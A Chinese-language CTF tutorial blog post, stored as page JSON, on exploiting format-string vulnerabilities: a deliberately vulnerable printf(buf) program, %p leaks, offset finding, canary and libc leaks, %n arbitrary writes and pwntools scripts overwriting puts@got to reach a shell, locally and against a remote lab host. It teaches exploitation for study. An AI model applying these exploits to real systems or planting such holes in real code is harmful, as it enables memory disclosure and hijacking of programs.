[{"data":1,"prerenderedAt":1144},["ShallowReactive",2],{"category-data-格式化字符串":3},[4],{"id":5,"title":6,"body":7,"description":1130,"extension":1131,"meta":1132,"navigation":101,"ogImage":1134,"path":1140,"seo":1141,"stem":1142,"__hash__":1143},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":8,"value":9,"toc":1118},"minimark",[10,15,19,43,58,77,81,87,151,181,185,192,195,204,207,215,218,224,235,243,247,252,270,273,275,283,285,291,294,300,310,384,391,424,428,433,446,455,516,570,573,582,585,589,594,609,614,620,623,637,640,683,687,700,708,714,790,826,829,909,915,945,956,960,1027,1031,1038,1047,1091,1093,1099,1103,1114],[11,12,14],"h3",{"id":13},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[16,17,18],"p",{},"C 程序员常写的输出代码：",[20,21,26],"pre",{"className":22,"code":23,"language":24,"meta":25,"style":25},"language-c shiki shiki-themes dracula","printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n","c","",[27,28,29,37],"code",{"__ignoreMap":25},[30,31,34],"span",{"class":32,"line":33},"line",1,[30,35,36],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[30,38,40],{"class":32,"line":39},2,[30,41,42],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[16,44,45,46,49,50,53,54,57],{},"当 ",[27,47,48],{},"buf"," 内容是 ",[27,51,52],{},"%p"," 时，",[27,55,56],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[59,60,61,71],"ul",{},[62,63,64,66,67,70],"li",{},[27,65,52],{},"/",[27,68,69],{},"%s","：任意读（泄露内存）。",[62,72,73,76],{},[27,74,75],{},"%n","：任意写（写入内存）。",[11,78,80],{"id":79},"二漏洞程序与编译","二、漏洞程序与编译",[16,82,83,86],{},[27,84,85],{},"fmt.c","：",[20,88,90],{"className":22,"code":89,"language":24,"meta":25,"style":25},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[27,91,92,97,103,109,115,121,127,133,139,145],{"__ignoreMap":25},[30,93,94],{"class":32,"line":33},[30,95,96],{},"#include \u003Cstdio.h>\n",[30,98,99],{"class":32,"line":39},[30,100,102],{"emptyLinePlaceholder":101},true,"\n",[30,104,106],{"class":32,"line":105},3,[30,107,108],{},"int main() {\n",[30,110,112],{"class":32,"line":111},4,[30,113,114],{},"    char buf[100];\n",[30,116,118],{"class":32,"line":117},5,[30,119,120],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[30,122,124],{"class":32,"line":123},6,[30,125,126],{},"    printf(\"> \");\n",[30,128,130],{"class":32,"line":129},7,[30,131,132],{},"    fgets(buf, sizeof(buf), stdin);\n",[30,134,136],{"class":32,"line":135},8,[30,137,138],{},"    printf(buf);          // 漏洞\n",[30,140,142],{"class":32,"line":141},9,[30,143,144],{},"    return 0;\n",[30,146,148],{"class":32,"line":147},10,[30,149,150],{},"}\n",[20,152,156],{"className":153,"code":154,"language":155,"meta":25,"style":25},"language-bash shiki shiki-themes dracula","gcc -o fmt fmt.c -fno-stack-protector -no-pie\n","bash",[27,157,158],{"__ignoreMap":25},[30,159,160,164,168,172,175,178],{"class":32,"line":33},[30,161,163],{"class":162},"sAOxA","gcc",[30,165,167],{"class":166},"sIQBb"," -o",[30,169,171],{"class":170},"s-mGx"," fmt",[30,173,174],{"class":170}," fmt.c",[30,176,177],{"class":166}," -fno-stack-protector",[30,179,180],{"class":166}," -no-pie\n",[11,182,184],{"id":183},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[16,186,187,191],{},[188,189,190],"strong",{},"目的","：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[16,193,194],{},"运行：",[20,196,198],{"className":153,"code":197,"language":155,"meta":25,"style":25},"./fmt\n",[27,199,200],{"__ignoreMap":25},[30,201,202],{"class":32,"line":33},[30,203,197],{"class":162},[16,205,206],{},"输入：",[20,208,213],{"className":209,"code":211,"language":212,"meta":25},[210],"language-text","%p.%p.%p.%p.%p.%p\n","text",[27,214,211],{"__ignoreMap":25},[16,216,217],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[20,219,222],{"className":220,"code":221,"language":212,"meta":25},[210],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[27,223,221],{"__ignoreMap":25},[16,225,226,227,230,231,234],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[27,228,229],{},"0x70252e70","，正是 ",[27,232,233],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[16,236,237,86,240,242],{},[188,238,239],{},"为什么能泄露",[27,241,56],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[11,244,246],{"id":245},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[16,248,249,251],{},[188,250,190],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[16,253,254,257,258,261,262,265,266,269],{},[188,255,256],{},"思路","：在输入开头放 4 个 ",[27,259,260],{},"A","，用 ",[27,263,264],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[27,267,268],{},"0x41414141","，哪个位置就是输入起点。",[16,271,272],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[16,274,194],{},[20,276,277],{"className":153,"code":197,"language":155,"meta":25,"style":25},[27,278,279],{"__ignoreMap":25},[30,280,281],{"class":32,"line":33},[30,282,197],{"class":162},[16,284,206],{},[20,286,289],{"className":287,"code":288,"language":212,"meta":25},[210],"AAAA.%6$p\n",[27,290,288],{"__ignoreMap":25},[16,292,293],{},"预期输出（Linux x86-64 典型情况）：",[20,295,298],{"className":296,"code":297,"language":212,"meta":25},[210],"> AAAA.0x41414141\n",[27,299,297],{"__ignoreMap":25},[16,301,302,303,305,306,309],{},"出现 ",[27,304,268],{},"（",[27,307,308],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[20,311,315],{"className":312,"code":313,"language":314,"meta":25,"style":25},"language-python shiki shiki-themes dracula","from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n","python",[27,316,317,322,326,331,336,341,346,351,356,361,366,372,378],{"__ignoreMap":25},[30,318,319],{"class":32,"line":33},[30,320,321],{},"from pwn import *\n",[30,323,324],{"class":32,"line":39},[30,325,102],{"emptyLinePlaceholder":101},[30,327,328],{"class":32,"line":105},[30,329,330],{},"for i in range(1, 15):\n",[30,332,333],{"class":32,"line":111},[30,334,335],{},"    p = process('./fmt')\n",[30,337,338],{"class":32,"line":117},[30,339,340],{},"    p.recvuntil(b'> ')\n",[30,342,343],{"class":32,"line":123},[30,344,345],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[30,347,348],{"class":32,"line":129},[30,349,350],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[30,352,353],{"class":32,"line":135},[30,354,355],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[30,357,358],{"class":32,"line":141},[30,359,360],{},"    out = p.recvall()\n",[30,362,363],{"class":32,"line":147},[30,364,365],{},"    if b'0x41414141' in out:\n",[30,367,369],{"class":32,"line":368},11,[30,370,371],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[30,373,375],{"class":32,"line":374},12,[30,376,377],{},"        print(f'offset = {i}')\n",[30,379,381],{"class":32,"line":380},13,[30,382,383],{},"        break\n",[16,385,386,387,390],{},"预期输出：",[27,388,389],{},"offset = 6","。",[16,392,393,394,397,398,400,401,404,405,408,409,412,413,408,416,419,420,423],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[27,395,396],{},"rdi, rsi, rdx, rcx, r8, r9","），",[27,399,56],{}," 自己占 ",[27,402,403],{},"rdi","，所以 ",[27,406,407],{},"%1$p"," 到 ",[27,410,411],{},"%5$p"," 对应 ",[27,414,415],{},"rsi",[27,417,418],{},"r9","，",[27,421,422],{},"%6$p"," 开始读栈。",[11,425,427],{"id":426},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[16,429,430,432],{},[188,431,190],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[16,434,435,437,438,441,442,445],{},[188,436,256],{},"：不同数据在栈上有固定特征——canary 以 ",[27,439,440],{},"00"," 结尾，libc 地址以 ",[27,443,444],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[16,447,448,449,408,451,454],{},"把 ",[27,450,422],{},[27,452,453],{},"%40$p"," 全部打出来，识别特征值：",[456,457,458,471],"table",{},[459,460,461],"thead",{},[462,463,464,468],"tr",{},[465,466,467],"th",{},"值特征",[465,469,470],{},"内容",[472,473,474,486,497,507],"tbody",{},[462,475,476,483],{},[477,478,479,480,482],"td",{},"以 ",[27,481,440],{}," 结尾的随机值",[477,484,485],{},"canary",[462,487,488,494],{},[477,489,490,493],{},[27,491,492],{},"0x7fff"," 开头",[477,495,496],{},"栈地址",[462,498,499,504],{},[477,500,501,493],{},[27,502,503],{},"0x55/0x56",[477,505,506],{},"程序代码地址（PIE 基址相关）",[462,508,509,513],{},[477,510,511,493],{},[27,512,444],{},[477,514,515],{},"libc 地址",[20,517,519],{"className":312,"code":518,"language":314,"meta":25,"style":25},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[27,520,521,526,531,536,541,546,550,555,560,565],{"__ignoreMap":25},[30,522,523],{"class":32,"line":33},[30,524,525],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[30,527,528],{"class":32,"line":39},[30,529,530],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[30,532,533],{"class":32,"line":105},[30,534,535],{},"p.sendline(payload)\n",[30,537,538],{"class":32,"line":111},[30,539,540],{},"out = p.recvall().decode().split('.')\n",[30,542,543],{"class":32,"line":117},[30,544,545],{},"# 按点号切分，得到每个位置的值。\n",[30,547,548],{"class":32,"line":123},[30,549,102],{"emptyLinePlaceholder":101},[30,551,552],{"class":32,"line":129},[30,553,554],{},"for i, v in enumerate(out):\n",[30,556,557],{"class":32,"line":135},[30,558,559],{},"    if v.endswith('00') and len(v) == 18:\n",[30,561,562],{"class":32,"line":141},[30,563,564],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[30,566,567],{"class":32,"line":147},[30,568,569],{},"        print(f'possible canary at {i+6}: {v}')\n",[16,571,572],{},"泄露 libc 地址后：",[20,574,576],{"className":312,"code":575,"language":314,"meta":25,"style":25},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[27,577,578],{"__ignoreMap":25},[30,579,580],{"class":32,"line":33},[30,581,575],{},[16,583,584],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[11,586,588],{"id":587},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[16,590,591,593],{},[188,592,190],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[16,595,596,86,598,600,601,604,605,608],{},[188,597,256],{},[27,599,75],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[27,602,603],{},"%100c"," 精确控制打印量，再用 ",[27,606,607],{},"%N$n"," 写到目标地址。",[16,610,611,613],{},[27,612,75],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[20,615,618],{"className":616,"code":617,"language":212,"meta":25},[210],"%100c%7$n\n",[27,619,617],{"__ignoreMap":25},[16,621,622],{},"执行过程：",[624,625,626,631],"ol",{},[62,627,628,630],{},[27,629,603],{}," 打印 100 个填充字符，已打印数变成 100。",[62,632,633,636],{},[27,634,635],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[16,638,639],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[456,641,642,652],{},[459,643,644],{},[462,645,646,649],{},[465,647,648],{},"说明符",[465,650,651],{},"写入字节数",[472,653,654,663,673],{},[462,655,656,660],{},[477,657,658],{},[27,659,75],{},[477,661,662],{},"4 字节",[462,664,665,670],{},[477,666,667],{},[27,668,669],{},"%hn",[477,671,672],{},"2 字节",[462,674,675,680],{},[477,676,677],{},[27,678,679],{},"%hhn",[477,681,682],{},"1 字节",[11,684,686],{"id":685},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[16,688,689,691,692,695,696,699],{},[188,690,190],{},"：把程序即将调用的 ",[27,693,694],{},"puts"," 改成我们的 ",[27,697,698],{},"win","，实现控制流劫持。",[16,701,702,86,704,707],{},[188,703,256],{},[27,705,706],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[16,709,710,711,86],{},"目标程序 ",[27,712,713],{},"fmt2.c",[20,715,717],{"className":22,"code":716,"language":24,"meta":25,"style":25},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[27,718,719,723,728,732,737,742,746,750,754,758,762,766,770,774,780,785],{"__ignoreMap":25},[30,720,721],{"class":32,"line":33},[30,722,96],{},[30,724,725],{"class":32,"line":39},[30,726,727],{},"#include \u003Cstdlib.h>\n",[30,729,730],{"class":32,"line":105},[30,731,102],{"emptyLinePlaceholder":101},[30,733,734],{"class":32,"line":111},[30,735,736],{},"void win() {\n",[30,738,739],{"class":32,"line":117},[30,740,741],{},"    system(\"/bin/sh\");\n",[30,743,744],{"class":32,"line":123},[30,745,150],{},[30,747,748],{"class":32,"line":129},[30,749,102],{"emptyLinePlaceholder":101},[30,751,752],{"class":32,"line":135},[30,753,108],{},[30,755,756],{"class":32,"line":141},[30,757,114],{},[30,759,760],{"class":32,"line":147},[30,761,120],{},[30,763,764],{"class":32,"line":368},[30,765,126],{},[30,767,768],{"class":32,"line":374},[30,769,132],{},[30,771,772],{"class":32,"line":380},[30,773,138],{},[30,775,777],{"class":32,"line":776},14,[30,778,779],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[30,781,783],{"class":32,"line":782},15,[30,784,144],{},[30,786,788],{"class":32,"line":787},16,[30,789,150],{},[20,791,793],{"className":153,"code":792,"language":155,"meta":25,"style":25},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[27,794,795,811],{"__ignoreMap":25},[30,796,797,799,801,804,807,809],{"class":32,"line":33},[30,798,163],{"class":162},[30,800,167],{"class":166},[30,802,803],{"class":170}," fmt2",[30,805,806],{"class":170}," fmt2.c",[30,808,177],{"class":166},[30,810,180],{"class":166},[30,812,813,816,819,822],{"class":32,"line":39},[30,814,815],{"class":162},"pwn",[30,817,818],{"class":170}," checksec",[30,820,821],{"class":170}," ./fmt2",[30,823,825],{"class":824},"shSDL","     # 需为 Partial RELRO，GOT 可写\n",[16,827,828],{},"利用脚本：",[20,830,832],{"className":312,"code":831,"language":314,"meta":25,"style":25},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[27,833,834,838,842,847,852,857,861,866,871,876,881,886,891,896,900,904],{"__ignoreMap":25},[30,835,836],{"class":32,"line":33},[30,837,321],{},[30,839,840],{"class":32,"line":39},[30,841,102],{"emptyLinePlaceholder":101},[30,843,844],{"class":32,"line":105},[30,845,846],{},"context.binary = elf = ELF('./fmt2')\n",[30,848,849],{"class":32,"line":111},[30,850,851],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[30,853,854],{"class":32,"line":117},[30,855,856],{},"p = process('./fmt2')\n",[30,858,859],{"class":32,"line":123},[30,860,102],{"emptyLinePlaceholder":101},[30,862,863],{"class":32,"line":129},[30,864,865],{},"offset = 6\n",[30,867,868],{"class":32,"line":135},[30,869,870],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[30,872,873],{"class":32,"line":141},[30,874,875],{},"# fmtstr_payload(offset, writes)：\n",[30,877,878],{"class":32,"line":147},[30,879,880],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[30,882,883],{"class":32,"line":368},[30,884,885],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[30,887,888],{"class":32,"line":374},[30,889,890],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[30,892,893],{"class":32,"line":380},[30,894,895],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[30,897,898],{"class":32,"line":776},[30,899,102],{"emptyLinePlaceholder":101},[30,901,902],{"class":32,"line":782},[30,903,535],{},[30,905,906],{"class":32,"line":787},[30,907,908],{},"p.interactive()\n",[16,910,911,914],{},[27,912,913],{},"fmtstr_payload"," 自动完成：",[624,916,917,922,929,939],{},[62,918,448,919,921],{},[27,920,698],{}," 地址拆成低 2 字节和高 2 字节。",[62,923,924,925,928],{},"生成 ",[27,926,927],{},"%c"," 控制打印量。",[62,930,931,932,934,935,938],{},"把两个目标地址（",[27,933,706],{},"、",[27,936,937],{},"puts@got+2","）放到对应参数位置。",[62,940,941,942,944],{},"用 ",[27,943,669],{}," 分别写入。",[16,946,947,948,951,952,955],{},"预期结果：程序执行 ",[27,949,950],{},"puts(\"Done\")"," 时实际调用 ",[27,953,954],{},"win()","，进入 shell。",[11,957,959],{"id":958},"八必学工具","八、必学工具",[456,961,962,975],{},[459,963,964],{},[462,965,966,969,972],{},[465,967,968],{},"工具",[465,970,971],{},"3 个核心功能",[465,973,974],{},"示例",[472,976,977,998,1011],{},[462,978,979,982,995],{},[477,980,981],{},"pwntools",[477,983,984,934,986,934,989,66,992],{},[27,985,913],{},[27,987,988],{},"FmtStr",[27,990,991],{},"sendline",[27,993,994],{},"recvuntil",[477,996,997],{},"见上文",[462,999,1000,1003,1006],{},[477,1001,1002],{},"checksec",[477,1004,1005],{},"看 RELRO、Canary、PIE",[477,1007,1008],{},[27,1009,1010],{},"pwn checksec ./fmt2",[462,1012,1013,1016,1019],{},[477,1014,1015],{},"GDB（pwndbg）",[477,1017,1018],{},"断点、看栈、验证参数位置",[477,1020,1021,934,1024],{},[27,1022,1023],{},"break main",[27,1025,1026],{},"x/20gx $rsp",[11,1028,1030],{"id":1029},"九小-ctf-实战","九、小 CTF 实战",[16,1032,1033,1034,1037],{},"题目：远程运行 ",[27,1035,1036],{},"fmt2","（Partial RELRO、No PIE）。",[16,1039,1040,1042,1043,1046],{},[188,1041,256],{},"：与本地脚本唯一区别是 ",[27,1044,1045],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[20,1048,1050],{"className":312,"code":1049,"language":314,"meta":25,"style":25},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[27,1051,1052,1056,1060,1064,1069,1073,1078,1082,1087],{"__ignoreMap":25},[30,1053,1054],{"class":32,"line":33},[30,1055,321],{},[30,1057,1058],{"class":32,"line":39},[30,1059,102],{"emptyLinePlaceholder":101},[30,1061,1062],{"class":32,"line":105},[30,1063,846],{},[30,1065,1066],{"class":32,"line":111},[30,1067,1068],{},"p = remote('1.2.3.4', 10002)\n",[30,1070,1071],{"class":32,"line":117},[30,1072,102],{"emptyLinePlaceholder":101},[30,1074,1075],{"class":32,"line":123},[30,1076,1077],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[30,1079,1080],{"class":32,"line":129},[30,1081,535],{},[30,1083,1084],{"class":32,"line":135},[30,1085,1086],{},"p.sendline(b'cat flag')\n",[30,1088,1089],{"class":32,"line":141},[30,1090,908],{},[16,1092,386],{},[20,1094,1097],{"className":1095,"code":1096,"language":212,"meta":25},[210],"flag{format_string}\n",[27,1098,1096],{"__ignoreMap":25},[11,1100,1102],{"id":1101},"十小结","十、小结",[16,1104,1105,1106,66,1108,1110,1111,1113],{},"格式化字符串提供两种原语：",[27,1107,52],{},[27,1109,69],{}," 任意读，",[27,1112,75],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1115,1116,1117],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":25,"searchDepth":39,"depth":39,"links":1119},[1120,1121,1122,1123,1124,1125,1126,1127,1128,1129],{"id":13,"depth":105,"text":14},{"id":79,"depth":105,"text":80},{"id":183,"depth":105,"text":184},{"id":245,"depth":105,"text":246},{"id":426,"depth":105,"text":427},{"id":587,"depth":105,"text":588},{"id":685,"depth":105,"text":686},{"id":958,"depth":105,"text":959},{"id":1029,"depth":105,"text":1030},{"id":1101,"depth":105,"text":1102},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。","md",{"date":1133,"image":1134,"alt":1135,"tags":1136,"published":101},"14th Aug 2026","/blogs-img/blog3.png","格式化字符串深入实战",[1137,815,1138,1139],"ctf","格式化字符串","example","/blogs/ctf-pwn-format-string-deep-dive",{"title":6,"description":1130},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",1786796568745]